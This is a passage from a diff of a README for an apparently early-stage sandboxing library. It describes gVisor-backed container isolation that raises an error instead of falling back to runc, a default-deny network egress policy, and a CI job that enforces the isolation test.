+ `ContainerRuntime.spawn` runs the container under `--runtime=runsc` and attests `remote.gvisor` **only** when runsc was actually used. If runsc is not installed (or the engine is podman, whose `--runtime` fail-loud semantics are unverified), it **raises** rather than falling back to runc — claiming isolation it did not provide is treated as a bug, not a convenience.
341
+
342
+ Egress is a deterministic, fail-closed boundary (`EgressPolicy`), enforced at the container edge and outside the agent's influence:
343
+
344
+ - default **deny** → `--network=none` (no outbound path)
345
+ - `allow_all()` → engine default network
346
+ - host allowlist is modelled but **fails loud** (`NotImplementedError`) until an egress proxy ships — no silent full-network grant
347
+
348
+ The `gvisor` CI job installs runsc and runs the isolation test for real; it fails if that test is skipped, so the guarantee can't erode silently.
349
+
350
+ ## Status
351
+
352
+ Early. API will move. Issues and real-world policy examples welcome.
353
+
354
+ ## License
355
+
356
+ Apache-2.0.